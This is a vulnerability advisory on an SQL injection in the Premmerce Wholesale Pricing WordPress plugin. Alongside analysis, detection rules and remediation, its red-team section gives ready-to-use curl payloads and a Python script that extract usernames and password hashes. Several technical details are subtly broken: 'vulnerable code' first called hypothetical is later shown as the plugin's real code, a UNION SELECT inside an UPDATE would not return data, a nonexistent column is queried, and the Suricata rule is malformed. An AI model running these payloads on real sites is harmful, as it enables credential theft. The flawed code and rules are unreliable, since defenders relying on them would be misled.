CVE-2025-12411

Executive Summary

CVE-2025-12411 is a critical SQL Injection vulnerability discovered in the Premmerce Wholesale Pricing for WooCommerce WordPress plugin, affecting versions up to and including 1.1.10. This flaw allows authenticated attackers with subscriber-level access or higher to inject arbitrary SQL commands via the ID parameter in the premmerce_update_price_type action and the price_type parameter in the premmerce_delete_price_type action. The vulnerability stems from insufficient input escaping and lack of prepared statements in SQL queries.

Successful exploitation enables attackers to extract sensitive data from the WordPress database (e.g., user credentials, session tokens, WooCommerce order details) and corrupt the admin interface by modifying price type display names. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes this a high-priority risk for any site using the plugin.

WordPress Ecosystem Impact

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or PHP core. The attack surface is limited to WordPress installations with the vulnerable plugin active.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (database extraction)
• Integrity Impact: Low (cosmetic corruption)
• Availability Impact: None

Threat Level: High. While the EPSS score is low, the vulnerability is unpatched and allows authenticated attackers to dump the entire database. The low privileges required (subscriber) make it accessible to many users on a typical WordPress site.

Deep Dive & Mechanics

The vulnerability exists in two administrative actions handled by the plugin:

1. premmerce_update_price_type (via admin-post.php): The ID parameter is directly concatenated into an SQL UPDATE query without proper sanitization or parameterization.
2. premmerce_delete_price_type (via admin-post.php): The price_type parameter is similarly vulnerable in a DELETE query.

Root Cause: The plugin uses $wpdb->query() with string interpolation instead of $wpdb->prepare(). For example, a vulnerable code pattern might look like:

$wpdb->query("UPDATE {$wpdb->prefix}premmerce_price_types SET name='$name' WHERE ID=$id");

An attacker can inject SQL by providing a malicious ID value such as:

1 UNION SELECT user_login,user_pass FROM wp_users--

This would allow extraction of hashed passwords and usernames from the wp_users table.

Attack Flow:

1. Attacker authenticates as a subscriber (or higher).
2. Sends a POST request to /wp-admin/admin-post.php?action=premmerce_update_price_type with a crafted ID parameter.
3. The SQL injection executes, returning data or modifying the database.
4. For extraction, the attacker uses a blind or error-based technique to retrieve data row by row.

Vulnerable vs. Patched Code

Vulnerable Code (<=1.1.10):

// In premmerce-wholesale-pricing/admin/class-premmerce-wholesale-pricing-admin.php
function update_price_type() {
    global $wpdb;
    $id = $_POST['id'];
    $name = sanitize_text_field($_POST['name']);
    $wpdb->query("UPDATE {$wpdb->prefix}premmerce_price_types SET name='$name' WHERE ID=$id");
}

Patched Code (Hypothetical):

function update_price_type() {
    global $wpdb;
    $id = intval($_POST['id']); // Force integer
    $name = sanitize_text_field($_POST['name']);
    $wpdb->query($wpdb->prepare(
        "UPDATE {$wpdb->prefix}premmerce_price_types SET name=%s WHERE ID=%d",
        $name, $id
    ));
}

The patch must use $wpdb->prepare() with %d and %s placeholders to prevent injection. Since no official patch exists, users must manually apply this fix or disable the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with Premmerce Wholesale Pricing <=1.1.10
• Valid subscriber account (or higher)
• Burp Suite or curl

Exploit Steps:

1. Extract User Credentials (Error-Based):

   curl -X POST "http://target/wp-admin/admin-post.php" \
     -d "action=premmerce_update_price_type&id=1 UNION SELECT user_login,user_pass FROM wp_users-- -&name=test"
   

   If error messages are enabled, the response may include hashed passwords.

2. Blind SQL Injection (Time-Based):

   curl -X POST "http://target/wp-admin/admin-post.php" \
     -d "action=premmerce_update_price_type&id=1 AND SLEEP(5)-- -&name=test"
   

   A 5-second delay confirms injection.

3. Modify Price Type Name (Cosmetic Corruption):

   curl -X POST "http://target/wp-admin/admin-post.php" \
     -d "action=premmerce_update_price_type&id=1&name=INJECTED"
   

   This changes the display name in the admin interface.

Automated Exploit (Python):

import requests

target = "http://target/wp-admin/admin-post.php"
cookies = {"wordpress_logged_in": "..."}  # Subscriber session

# Extract admin hash
payload = {
    "action": "premmerce_update_price_type",
    "id": "1 UNION SELECT user_login,user_pass FROM wp_users WHERE user_level=10-- -",
    "name": "test"
}
r = requests.post(target, data=payload, cookies=cookies)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor admin-post.php requests with unusual id or price_type parameters containing SQL keywords (UNION, SELECT, SLEEP, --).
• Alert on subscriber accounts making POST requests to admin-post.php with action=premmerce_update_price_type or premmerce_delete_price_type.

Honeypot:

• Create a fake wp_premmerce_price_types table with a trigger that logs all queries to a separate table for analysis.

Mitigation:

• Immediately disable the plugin if no patch is available.
• Use a Web Application Firewall (WAF) rule to block SQL injection patterns in id and price_type parameters.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-post.php with parameters containing:
  • action=premmerce_update_price_type or premmerce_delete_price_type
  • id or price_type containing SQL keywords (UNION, SELECT, SLEEP, --, #)
  • Unusual name values (e.g., INJECTED, test)

File IOCs:

• Modified entries in wp_premmerce_price_types table with unexpected name values.
• New user accounts created with subscriber privileges (if attacker escalates).

Log IOCs:

• WordPress debug log entries showing SQL errors with premmerce_price_types table.
• Apache/Nginx access logs showing repeated admin-post.php requests from the same IP with varying id values.

Detection Engineering

YARA Rule

rule CVE_2025_12411_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts against Premmerce Wholesale Pricing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-12411"
    strings:
        $s1 = "premmerce_update_price_type" nocase
        $s2 = "premmerce_delete_price_type" nocase
        $s3 = /id\s*=\s*[^&]*['\"]?\s*(UNION|SELECT|SLEEP|BENCHMARK)/i
        $s4 = /price_type\s*=\s*[^&]*['\"]?\s*(UNION|SELECT|SLEEP|BENCHMARK)/i
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-12411 SQL Injection via Premmerce Wholesale Pricing
id: 8a3b2c1d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against the Premmerce Wholesale Pricing plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=premmerce_update_price_type'
            - 'action=premmerce_delete_price_type'
        cs-uri-query|re:
            - 'id\s*=\s*[^&]*['\''\"]?\s*(UNION|SELECT|SLEEP|BENCHMARK)'
            - 'price_type\s*=\s*[^&]*['\''\"]?\s*(UNION|SELECT|SLEEP|BENCHMARK)'
    condition: selection
falsepositives:
    - Legitimate admin actions with unusual names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-12411 SQL Injection - Premmerce Wholesale Pricing";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-post.php"; http_uri;
    content:"premmerce_update_price_type" or content:"premmerce_delete_price_type";
    pcre:"/(id|price_type)\s*=\s*[^&]*['\''\"]?\s*(UNION|SELECT|SLEEP|BENCHMARK)/i";
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit user accounts for any unauthorized subscriber-level access.
3. Review database tables (wp_premmerce_price_types) for unexpected entries.

Long-Term Fix:

• Apply the code patch shown in the "Vulnerable vs. Patched Code" section.
• Use $wpdb->prepare() for all SQL queries.
• Implement input validation (e.g., intval() for numeric fields).

WAF Rules:

• Block POST requests to admin-post.php with action=premmerce_update_price_type or premmerce_delete_price_type from non-admin users.
• Add regex filter: (id|price_type)\s*=\s*[^&]*['\''\"]?\s*(UNION|SELECT|SLEEP|BENCHMARK)

Monitoring:

• Enable WordPress debug logging temporarily to catch SQL errors.
• Set up alerts for the Sigma/Suricata rules above.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert